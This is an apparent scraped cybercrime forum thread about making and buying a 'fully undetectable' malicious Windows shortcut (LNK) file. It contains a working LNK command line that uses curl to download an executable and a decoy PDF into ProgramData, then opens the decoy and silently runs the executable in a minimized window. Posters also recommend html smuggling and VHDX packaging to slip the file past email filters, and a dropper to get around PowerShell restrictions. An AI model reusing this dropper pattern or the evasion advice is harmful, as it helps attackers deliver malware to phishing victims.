i will make FUD lnk

[MetadorAPT]

Curl zeroday (my implementation version not the author's code)
C:\Windows\System32\cmd.exe /c curl -o C:\ProgramData\d.exe https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe & curl -o C:\ProgramData\biden.pdf https://www.whitehouse.gov/wp-content/uploads/2021/05/budget_fy22.pdf & biden.pdf & d.exe
[Settings]
Start In: C:\ProgramData\
Window: Minimized
Analysis of my opinion:
so yes, the implementation itself is very high-quality based on the video, you can buy, the author seems to be a normal seller

 

[crypt0]

you can pack this in vhdx and attach it to mail but you cannot attach direct lnk , zip, and img, iso to email (some selected emails like gmail etc)

you never heard of html smuggling ??

you can attach this way easily

 

[chipster]

I don't get doing a multi stager with ps1 script since powershell script are restricted by default on computer https://learn.microsoft.com/en-us/p.../about_execution_policies?view=powershell-7.3

 

[crypt0]

I don't get doing a multi stager with ps1 script since powershell script are restricted by default on computer https://learn.microsoft.com/en-us/p.../about_execution_policies?view=powershell-7.3

That's why you use a dropper